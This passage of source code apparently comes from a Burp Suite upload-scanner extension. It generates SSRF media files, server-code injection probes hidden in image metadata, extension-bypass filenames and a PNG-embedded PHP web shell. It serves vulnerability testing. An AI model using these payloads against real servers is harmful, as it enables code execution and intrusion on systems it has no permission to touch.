- # Colab based
- for cmd_name, cmd, server, replace in self._get_rce_interaction_commands(injector, burp_colab):
- for param, reference, content in techniques:
- details = base_detail + detail_colab.format(param, reference, cmd)
- issue = self._create_issue_template(injector.get_brr(), name, details, confidence, severity)
- attack = content.format(
- #injector.opts.image_width,
- #injector.opts.image_height,
- param,
- cmd,
- server
- )
- colab_tests.extend(self._send_collaborator(injector, burp_colab, self.GS_TYPES, basename + param + cmd_name,
- attack, issue, replace=replace, redownload=True))
-
- return colab_tests
-
- def _libavformat(self, injector, burp_colab):
- # TODO: Implement .qlt files maybe? https://www.gnucitizen.org/blog/backdooring-mp3-files/
- # Burp community edition doesn't have Burp collaborator
- if not burp_colab:
- return []
-
- # burp collaborator based as described on https://hackerone.com/reports/115857
- basename = self.FILE_START + "AvColab"
- content_m3u8 = "#EXTM3U\r\n#EXT-X-MEDIA-SEQUENCE:0\r\n#EXTINF:10.0,\r\n{}example.mp4\r\n##prevent cache: {}\r\n#EXT-X-ENDLIST".format(BurpExtender.MARKER_COLLAB_URL, str(random.random()))
-
- name = "LibAvFormat SSRF"
- severity = "High"
- confidence = "Certain"
- detail = "A Burp Colaborator interaction was detected when uploading an libavformat m3u8 payload " \
- "which contains a burp colaborator URL. This means that Server Side Request Forgery is possible. " \
- "Check https://hackerone.com/reports/115857 for more details. Also check manually if the website is not vulnerable to " \
- "local file include. Interactions:
"
- issue = self._create_issue_template(injector.get_brr(), name, detail, confidence, severity)
-
- colabs = self._send_collaborator(injector, burp_colab, self.AV_TYPES,
- basename + "M3u", content_m3u8, issue)
-
- # avi file with m3u as described on https://hackerone.com/reports/226756
- # https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit#slide=id.g2239eb85ba_0_20
- # and https://github.com/neex/ffmpeg-avi-m3u-xbin
- avi_generator = AviM3uXbin()
-
- name = "LibAvFormat SSRF"
- severity = "High"
- confidence = "Certain"
- detail = "A Burp Colaborator interaction was detected when uploading an libavformat m3u8 payload inside an AVI file " \
- "which contains a burp colaborator URL. This means that Server Side Request Forgery is possible. " \
- "Check https://hackerone.com/reports/226756 and https://github.com/neex/ffmpeg-avi-m3u-xbin for more details. " \
- "Usually this means it is vulnerable to local file inclusion. Interactions:
"
- issue = self._create_issue_template(injector.get_brr(), name, detail, confidence, severity)
-
- #Yes this looks weird here that we pass content_m3u8, but that's correct
- colabs2 = self._send_collaborator(injector, burp_colab, self.AV_TYPES,
- basename + "AviM3u", content_m3u8, issue, replace=avi_generator.get_avi_file)
-
- colabs.extend(colabs2)
- return colabs
-
- def _php_rce_params(self, extension, mime, content=""):
- lang = "PHP"
-
- # The different file extensions can vary in several ways:
- # - the original extension the file had that was uploaded in the base request, self._marker_orig_ext, eg. .png
- # - the payload extension, for example if we upload php code it would be .php
- # - the real file extension, for example .gif if we produced a gif file that has php code in the comment, extension
-
- # PHP file extensions rely on Apache's AddHandler option, and there are horrible examples
- # on the Internet, such as:
- # AddHandler x-httpd-php .php .php3 .php4 .php5 .phtml
- # According to this, .pht is very unlikely: http://stackoverflow.com/questions/32912839/what-are-pht-files
- if mime:
- # This means we're hiding php code in metadata of a file type
- types = {
- ('', BurpExtender.MARKER_ORIG_EXT, ''),
- ('', '.php' + BurpExtender.MARKER_ORIG_EXT, ''),
- # ('', '.php'+self._marker_orig_ext, mime),
- # ('', '.php.'+extension, ''),
- ('', '.php' + extension, mime),
- ('', '.php\x00' + extension, mime),
- ('', '.php%00' + extension, mime),
- # ('', '.php5'+extension, mime),
- ('', '.php', ''),
- # ('', '.php5', ''),
- ('', '.php', mime),
- ('', '.php5', mime),
- ('', '.phtml', mime)
- }
- else:
- # This means it is plain php files we're uploading
- mime = 'application/x-php'
- types = {
- ('', BurpExtender.MARKER_ORIG_EXT, ''),
- ('', '.php' + BurpExtender.MARKER_ORIG_EXT, ''),
- # ('', '.php'+self._marker_orig_ext, mime),
- ('', '.php\x00' + BurpExtender.MARKER_ORIG_EXT, ''),
- ('', '.php%00' + BurpExtender.MARKER_ORIG_EXT, ''),
- # ('', '.php\x00'+self._marker_orig_ext, mime),
- # ('', '.php%00'+self._marker_orig_ext, mime),
- # ('', '.php5'+extension, mime),
- ('', '.php', ''),
- ('', '.php5', ''),
- ('', '.phtml', ''),
- ('', '.php', mime),
- # ('', '.php5', mime),
- }
- # Problem: when we have XMP data the meta data will look like this:
- #
- # while PHP servers are fine with a ?> somewhere, they will fail at as xpacket is not
- # a PHP function . Therefore we need to remove those. However, a lot of metadata formats
- # are actually not looking for tags with spaces. As long as the
- # '
- expect = r + '-InJeCt.TeSt'
- return payload, expect
-
- def _php_rce(self, injector):
- # automated approach with BackdooredFile class
- self._servercode_rce_backdoored_file(injector, self._php_gen_payload,
- self._php_rce_params)
-
- # Boring, classic, straight forward php file:
- self._servercode_rce_simple(injector, self._php_gen_payload,
- self._php_rce_params)
-
- # Manual tests with special cases for image metadata injection:
- lang, types, _ = self._php_rce_params(".png", "image/png")
- self._servercode_rce_png_idatchunk_phponly(injector, types)
-
- payload_exact_13_len = ''
- lang, types, _ = self._php_rce_params(".gif", "image/gif")
- self._servercode_rce_gif_content(injector, lang, payload_exact_13_len, types)
-
- def _jsp_rce_params(self, extension, mime, content=""):
- lang = "JSP"
- if mime:
- types = {
- ('', BurpExtender.MARKER_ORIG_EXT, ''),
- ('', '.jsp' + BurpExtender.MARKER_ORIG_EXT, ''),
- # ('', '.jsp' + self._marker_orig_ext, mime),
- # ('', '.jsp' + extension, ''),
- ('', '.jsp' + extension, mime),
- ('', '.jsp\x00' + extension, mime),
- ('', '.jsp%00' + extension, mime),
- ('', '.jsp', ''),
- ('', '.jsp', mime),
- }
- else:
- mime = "application/x-jsp"
- types = {
- ('', BurpExtender.MARKER_ORIG_EXT, ''),
- ('', '.jsp' + BurpExtender.MARKER_ORIG_EXT, ''),
- ('', '.jsp\x00' + BurpExtender.MARKER_ORIG_EXT, ''),
- ('', '.jsp%00' + BurpExtender.MARKER_ORIG_EXT, ''),
- # ('', '.jsp\x00' + self._marker_orig_ext, mime),
- # ('', '.jsp%00' + self._marker_orig_ext, mime),
- ('', '.jsp', ''),
- ('', '.jsp', mime),
- }
- return lang, types, content
-
- def _jspx_rce_params(self, extension, mime, content=""):
- lang = "JSPX"
- if mime:
- types = {
- ('', BurpExtender.MARKER_ORIG_EXT, ''),
- ('', '.jspx' + BurpExtender.MARKER_ORIG_EXT, ''),
- # ('', '.jspx' + self._marker_orig_ext, mime),
- # ('', '.jspx.'+ extension, ''),
- ('', '.jspx' + extension, mime),
- ('', '.jspx\x00' + extension, mime),
- ('', '.jspx%00' + extension, mime),
- ('', '.jspx', ''),
- ('', '.jspx', mime),
- }
- else:
- mime = "application/x-jsp"
- types = {
- ('', BurpExtender.MARKER_ORIG_EXT, ''),
- ('', '.jspx' + BurpExtender.MARKER_ORIG_EXT, ''),
- ('', '.jspx\x00' + BurpExtender.MARKER_ORIG_EXT, ''),
- ('', '.jspx%00' + BurpExtender.MARKER_ORIG_EXT, ''),
- # ('', '.jspx\x00' + self._marker_orig_ext, mime),
- # ('', '.jspx%00' + self._marker_orig_ext, mime),
- ('', '.jspx', ''),
- ('', '.jspx', mime),
- }
- return lang, types, content
-
- def _jsp_gen_payload_expression_lang(self):
- # these numbers are arbitrary but make sure we don't get an int overflow...
- a = random.randint(3, 134)
- b = random.randint(3, 8456)
- c = random.randint(3, 7597)
- d = random.randint(3, 65123)
- e = random.randint(1000000000000000, 2115454131589564)
- payload = "${" + str(a) + " * " + str(b) + "+" + str(c) + "+" + str(d) + "+" + str(e) + "}"
- # make sure the payload has always the same length
- desired_length = 60
- payload = (desired_length - len(payload)) * " " + payload
- expect = str(a * b + c + d + e)
- return payload, expect
-
- def _jsp_gen_payload_tags(self):
- r = ''.join(random.sample(string.ascii_letters, 5))
- payload = '<% System.out.println("InJ" + "eCt"+"TeSt-' + r + '"); %>'
- expect = 'InJeCtTeSt-' + r
- return payload, expect
-
- def _jspx_gen_payload(self):
- """Actually this is JSPX with JSP 2.0"""
- one = ''.join(random.sample(string.ascii_letters, 8))
- two = ''.join(random.sample(string.ascii_letters, 8))
- three = ''.join(random.sample(string.ascii_letters, 8))
- payload = '''
-
-
- JSPX
-
-
-
-
-
- ${one}${two}${three}
-
- '''
- expect = one + two + three
- return payload, expect
-
- def _jsp_rce(self, injector):
- # automated approach with BackdooredFile class
- # sadly, the only two types that produce valid JSP files that can be detected by this plugin are GIF and PDF
- # with all others the JSP files starts with high byte values or the JSP parser throws another exception. For example:
- # org.apache.jasper.JasperException: java.lang.ClassNotFoundException: org.apache.jsp.uploads._1DownloadMeMetamakernotesJSP3_jsp
- # org.apache.jasper.servlet.JspServletWrapper.getServlet(JspServletWrapper.java:177)
- # org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:369)
- # org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:390)
- # org.apache.jasper.servlet.JspServlet.service(JspServlet.java:334)
- # javax.servlet.http.HttpServlet.service(HttpServlet.java:722)
- # or
- # org.apache.jasper.JasperException: Unable to compile class for JSP
- # org.apache.jasper.JspCompilationContext.compile(JspCompilationContext.java:661)
- # org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:357)
- # org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:390)
- # org.apache.jasper.servlet.JspServlet.service(JspServlet.java:334)
- # javax.servlet.http.HttpServlet.service(HttpServlet.java:722)
- # while that can be interesting too, it doesn't justify to send all kind of formats that only produce errors
- # therefore we send only GIF and PDF, as well as JPEG to trigger the error case (JPEG is probably the most popular format)
- # As JPEG and PNG both start with non-ascii, this is probably not possible. But let me know if you figure it out :)
- # But on the other hand we have different injection possibilities:
- # Expression Language with ${}
- # Old school tags <% %>
- # TODO feature: Let me know if I'm wrong and there are installations which work fine with such files
-
- non_working_formats = {".png", ".tiff"}
- used_formats = set(BackdooredFile.EXTENSION_TO_MIME.keys()) - non_working_formats
- self._servercode_rce_backdoored_file(injector, self._jsp_gen_payload_expression_lang, self._jsp_rce_params,
- formats=used_formats)
- self._servercode_rce_backdoored_file(injector, self._jsp_gen_payload_tags, self._jsp_rce_params,
- formats=used_formats)
-
- # Boring, classic, straight forward jsp file:
- self._servercode_rce_simple(injector, self._jsp_gen_payload_expression_lang, self._jsp_rce_params)
- self._servercode_rce_simple(injector, self._jsp_gen_payload_tags, self._jsp_rce_params)
-
- # New JSP XML Syntax (.jspx)
- self._servercode_rce_simple(injector, self._jspx_gen_payload, self._jspx_rce_params)
-
- # rce gif content:
- # TODO feature: change this to something more unique... in general, change that _servercode_rce_gif_content method
- payload_exact_13_len = "${'InJeCtTe'}"
- to_expect = "InJeCtTe"
- lang, types, _ = self._jsp_rce_params(".gif", "image/gif")
- self._servercode_rce_gif_content(injector, lang, payload_exact_13_len, types, expect=to_expect)
-
- def _asp_rce_params(self, extension, mime, content=""):
- lang = "ASP"
- if mime:
- # TODO feature: include .asa and .asax etc. but we need a Windows test server for that first
- # According to https://community.rapid7.com/community/metasploit/blog/2009/12/28/exploiting-microsoft-iis-with-metasploit
- # the file extension .asp;.png should work fine... see also https://soroush.secproject.com/downloadable/iis-semicolon-report.pdf
- types = {
- ('', BurpExtender.MARKER_ORIG_EXT, ''),
- ('', '.asp;' + BurpExtender.MARKER_ORIG_EXT, ''),
- # ('', '.asp' + self._marker_orig_ext, mime),
- # ('', '.asp.' + extension, ''),
- ('', '.asp;' + extension, mime),
- ('', '.asp' + extension, mime),
- ('', '.asp\x00' + extension, mime),
- ('', '.asp%00' + extension, mime),
- ('', '.asp', ''),
- ('', '.asa', ''),
- ('', '.asax', ''),
- #('', '.asp', mime),
- ('', '.aspx', mime)
- }
- else:
- mime_asp = 'application/asp'
- mime_aspx = 'application/aspx'
- types = {
- ('', BurpExtender.MARKER_ORIG_EXT, ''),
- ('', '.asp;' + BurpExtender.MARKER_ORIG_EXT, ''),
- # ('', '.asp' + self._marker_orig_ext, mime_asp),
- ('', '.asp\x00' + BurpExtender.MARKER_ORIG_EXT, ''),
- ('', '.asp%00' + BurpExtender.MARKER_ORIG_EXT, ''),
- # ('', '.asp\x00' + self._marker_orig_ext, mime_asp),
- # ('', '.asp%00' + self._marker_orig_ext, mime_asp),
- ('', '.asp', ''),
- ('', '.asp', mime_asp),
- ('', '.aspx', ''),
- ('', '.aspx', mime_aspx),
- }
-
- return lang, types, content
-
- def _asp_gen_payload(self):
- r = ''.join(random.sample(string.ascii_letters, 5))
- payload = '<%= "In"+"Je' + r + 'C" + "t.Te"+"St" %>'
- expect = 'InJe' + r + 'Ct.TeSt'
- return payload, expect
-
- def _asp_rce(self, injector):
- # automated approach with BackdooredFile class
- self._servercode_rce_backdoored_file(injector, self._asp_gen_payload, self._asp_rce_params)
-
- # Boring, classic, straight forward asp file:
- self._servercode_rce_simple(injector, self._asp_gen_payload, self._asp_rce_params)
-
- payload_exact_13_len = '<%= "A"+"B"%>'
- lang, types, _ = self._asp_rce_params(".gif", "image/gif")
- self._servercode_rce_gif_content(injector, lang, payload_exact_13_len, types)
-
- def _servercode_rce_simple(self, injector, payload_func, param_func):
- payload, expect = payload_func()
- lang, types, content = param_func(None, None, payload)
- basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "Simple" + lang
- title = lang + " code injection" # via simple file upload"
- desc = 'Remote command execution through {} payload in a normal {} file. The server replaced the code {} inside ' \
- 'the uploaded file with {} only, meaning that {} code ' \
- 'execution is possible.'.format(lang, lang, cgi.escape(payload), expect, lang)
- issue = self._create_issue_template(injector.get_brr(), title, desc, "Certain", "High")
- self.dl_matchers.add(DownloadMatcher(issue, filecontent=expect))
- self._send_simple(injector, types, basename, content, redownload=True)
-
- def _servercode_rce_backdoored_file(self, injector, payload_func, param_func, formats=None):
- bi = BackdooredFile(injector.opts.get_enabled_file_formats(), self._global_opts.image_exiftool)
- size = (injector.opts.image_width, injector.opts.image_height)
- for payload, expect, name, ext, content in bi.get_files(size, payload_func, formats):
- lang, types, content = param_func(ext, BackdooredFile.EXTENSION_TO_MIME[ext], content)
- basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "BfRce" + name + lang
- # content_start = content[:content.index(payload)]
- # content_end = content[content.index(payload)+len(payload):]
- title = lang + " code injection" # via " + ext[1:].upper() + " Metadata "
- desc = 'Remote command execution through {} payload in Metadata of type {}. The server replaced the code {} inside ' \
- 'the uploaded file with {} only, meaning that {} code ' \
- 'execution is possible.'.format(lang, name, cgi.escape(payload), expect, lang)
- issue = self._create_issue_template(injector.get_brr(), title, desc, "Certain", "High")
- self.dl_matchers.add(DownloadMatcher(issue, filecontent=expect))
- self._send_simple(injector, types, basename, content, redownload=True)
-
- def _servercode_rce_png_idatchunk_phponly(self, injector, types):
- if injector.opts.file_formats['png'].isSelected():
- # PNG with payload in idat chunk that is PHP code taken from https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- # TODO feature: add other variations of this idatchunk trick. Currently what we do here is simply take the png that has already the idat chunk.
- # We simply assume that a server that is stripping *all* metadata cannot strip an idatchunk as it is part of the image data (obviously)
- # However, we could do other variations of the not-yet-deflated images, that when transformed with imagecopyresize or imagecopyresample
- # would even survive that. When implementing that, a generic approach which allows resizing first to sizes self._image_formating_width,
- # self._image_formating_height etc.
- lang = "PHP"
- basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "IdatchunkPng" + lang
- content_start = "\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00 \x00\x00\x00 \x08\x02\x00\x00\x00\xfc\x18\xed\xa3\x00\x00\x00\tpHYs\x00\x00\x0e\xc4\x00\x00\x0e\xc4\x01\x95+\x0e\x1b\x00\x00\x00`IDATH\x89c\\"
- content_end = "X\x80\x81\x81\xc1s^7\x93\xfc\x8f\x8b\xdb~_\xd3}\xaa'\xf7\xf1\xe3\xc9\xbf_\xef\x06|\xb200c\xd9\xb9g\xfd\xd9=\x1b\xce2\x8c\x82Q0\nF\xc1(\x18\x05\xa3`\x14\x8c\x82Q0\n\x86\r\x00\x00\x81\xb2\x1b\x02\x07x\r\x0c\x00\x00\x00\x00IEND\xaeB`\x82"
- # TODO feature: here we use a modified payload that is also an idat chunk
- code = "=$_GET[0]($_POST[1]);?>"
- content = content_start + code + content_end
- # we expect the server to simply execute "code", but as the parameters in $_GET and $_POST do not make sense
- # it will fail and simply cut off the image right before "code". In practice this means an HTTP 500
- # is returned and the body only includes content_start. Therefore this tests checks if "content_start"
- # is in the body and that "code" is for sure not in the body
- expected_download_content = content_start
- title = lang + " code injection" # via PNG IDAT "
- desc = 'Remote command execution through {} payload in IDAT chunks, payload from https://www.idontplaydarts' \
- '.com/2012/06/encoding-web-shells-in-png-idat-chunks/ . The server probably tried to execute the code' \
- ' {} inside the uploaded image but failed, meaning that {} code execution seems possible. Usually ' \
- 'the server will respond with only the start of the file which has length {} and cut off the rest. ' \
- 'Also, it usually responds with an HTTP 500 error.'.format(lang, cgi.escape(code), lang, str(len(content_start)))
- issue = self._create_issue_template(injector.get_brr(), title, desc, "Tentative", "High")
- self.dl_matchers.add(DownloadMatcher(issue, filecontent=expected_download_content, not_in_filecontent=code))
- self._send_simple(injector, types, basename, content, redownload=True)
-
- def _servercode_rce_gif_content(self, injector, lang, payload_exact_13_len, types, expect="AB"):
- if injector.opts.file_formats['gif'].isSelected():
- # TODO: PHP not working, simply returns payload inside GIF, at least on my test server... I guess
- # the PHP parser already stopped looking for when it reaches the payload as too much garbage...
- # However, it *does* get properly detected for JSP tomcat servers where it is injected with ${}!
- # TODO feature: defining expect as "AB" is pretty stupid as that is not really unique....
- # GIF with payload not in exif but in file content that survives PHP's getimagesize() and imagecreatefromgif()
- # https://www.secgeek.net/bookfresh-vulnerability/#comment-331
- basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "InContentGif" + lang
- start = 'R0lGODlh1wBUAPf/APz9/ubr9Jx5G+ru9uTq9LikaP3opuXNiWB8hP378fb4++zw9+/y+OrUmenXp+Tp882tXWqFi9zCeNa5bP7yyfr6/eHI' \
- 'gcetZ09mbfDz+ZOXeN7EfExiaNbDh9m8cVF8ieLo8fv8/fDZm7Cztff4/P3ik+js9fDy+ODGfq6qhunRjP767OLJg9S3afL0+cyxabOaWv700' \
- 'f722Obq9KKacFlyelB6h/3+/omWhOjctdq+dNCxYdO6dMe6haWCJ/TpzNvAdqmKNl96gvHepvP1+jxlaNjc5P7uusq0clt1fFZudffu1fz8/V' \
- 'JpcOLm7EleZFx2fvHhsfP2+vv37P7+9/755PHlxNK0ZauTVrqaQ7yfVXyBbuDHgNm3WOju9mlzaPv1493i6eK1U+ziw3SJgvHXkOvw9vPkueT' \
- 'Mh6iMRP7ssbOSOl55gOvhvMaWMenu9eS8Z7a5wN+rQerNhMHFzFF5hsjM0te6bujt9fvuxaONUjBRVOPKhdS9evfpvM3R1//++/jtzNLX4ObJ' \
- 'fv39/vj5/MCkXL3Bx9WqTU94hevv9sSkUuPp89GyY+7y9+vu9NPSyNm/ePbqw62SSvH0+Z+CNubPi93Del2BhcaoXfHmyPL1+e7x+Ozn0V14f' \
- '/f5++jDbdvCfYqKb7CNMu7x92F8gv733uvLikdbYNXAgODCc8rFsurKevjx3c2tVZ+GQ+Dl72SAh1dxePDy9+PLhVpnYV55gZ6gglRtdFx4gN' \
- '/Aa1l/hti7cH+QgubKglN9iFp0e/fmsd7JiPr7/V5xcf379vf17uHMi+3w9V11fNO1Z1tyef7+//T2+v7+/vn6/Pj6/PX3+/7///////X3+vb' \
- '3+/T3+/n7/e3x91dwd/T3+lRsc/n6/f7//v/+/////vr7/Pj6/eTp9PT2+//+/u3y9/X2+s+wYO3y+PX2+2F9hc+vXzheYdC3ceXRmefs9fb3' \
- '/MioV/fouPXx5Vd9h199hrWEJP7wwd29Z+fr8F97gr+tc+nIeFlwdVVvd////yH5BAEAAP8ALAAAAADXAFQAAAj/ANUJHEiw4MBYEQwqXMiwo' \
- 'UF6HyJKnEixosWJNj7YsPGvo8ePIEOKHEmypMmTKFOKdGgQYSwELAcimEmzps2bC+v9usiz50WOKoMKHUq0aMiYBxPGvMm0adOBpXbt/DDVp1' \
- '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' \
